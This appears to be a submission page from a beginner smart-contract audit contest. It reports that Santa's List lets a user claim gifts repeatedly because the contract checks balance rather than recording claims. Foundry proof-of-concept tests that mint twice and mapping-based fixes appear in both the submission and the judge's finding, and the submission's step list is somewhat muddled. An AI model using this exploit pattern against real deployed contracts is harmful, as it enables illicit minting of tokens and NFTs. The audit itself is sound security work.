Santa's List
AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H] Determining whether a user has already claimed a gift by checking their balance is flawed: an attacker could first claim the gift and then transfer away the balance, allowing repeated claims.

huicanvie

Root + Impact

Description

  • Addresses should not be able to collect more than once.

  • The determination for requiring only a single claim used solely the method of checking if the balance was greater than zero, which resulted in the ability to continue claiming gifts even after the balance was cleared.

// Root cause in the codebase with @> marks to highlight the relevant section
function collectPresent() external {
// @> Use the balance to determine whether there is a vulnerability.
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
}

Risk

Likelihood:

  • As long as, after claiming it, attacker transfer the entire balance to another address, attacker may continue to claim the gift again.


Impact:

  • Inconsistent with business logic.

  • Repeatedly claiming gifts caused massive over-issuance of NFTs, undermining the fairness of the business.

Proof of Concept

  1. Attacker prepares the victim

  2. User collects the presen

  3. User transfers all assets to the attacker

  4. User collects the present again

  5. User repeats the transfer

  6. The attacker ends up with double the SANTA tokens (2e18) and two NFTs, exploiting the contract’s logic flaw of only checking balances to prevent multiple collections.

function test_Poc_collectPresentMultipleTimes() public {
address attacker = makeAddr("attacker");
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
console.log("Attacker balance before transfer:", santaToken.balanceOf(attacker));
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.prank(user);
santasList.collectPresent();
uint256 userBalance = santaToken.balanceOf(user);
console.log("user balance after collecting present:", userBalance);
require(userBalance > 0, "User balance should be > 0 after collectPresent");
console.log("About to transfer, user balance:", santaToken.balanceOf(user));
vm.startPrank(user);
bool success = santaToken.transfer(attacker, userBalance); // transfer away the balance
// Must also transfer the NFT. If not, even if the attacker takes away the token balance, the user's NFT remains, so the user cannot collect again.
santasList.transferFrom(user, attacker, 0); // transfer NFT
vm.stopPrank();
console.log("Transfer success:", success);
console.log("Attacker balance after transfer:", santaToken.balanceOf(attacker));
console.log("After transfer, user balance:", santaToken.balanceOf(user));
require(santaToken.balanceOf(user) == 0, "User balance should be 0 before collectPresent");
​
vm.startPrank(user);
console.log("collectPresent again, user balance:", santaToken.balanceOf(user));
santasList.collectPresent();
success = santaToken.transfer(attacker, santaToken.balanceOf(user)); // 转走余额
vm.stopPrank();
console.log("After transfer again, user balance:", santaToken.balanceOf(user));
console.log("After transfer again, attacker balance:", santaToken.balanceOf(attacker));
​
assertEq(santaToken.balanceOf(attacker), 2*1e18); // Collected twice
}

Recommended Mitigation

We should use mapping to record user who has collected present

+ mapping(address => bool) hasCollected;
function collectPresent() external {
-if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+if (hasCollected[msg.sender]){
+ revert SantasList__AlreadyCollected();
+ }
+ hasCollected[msg.sender] = true;
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!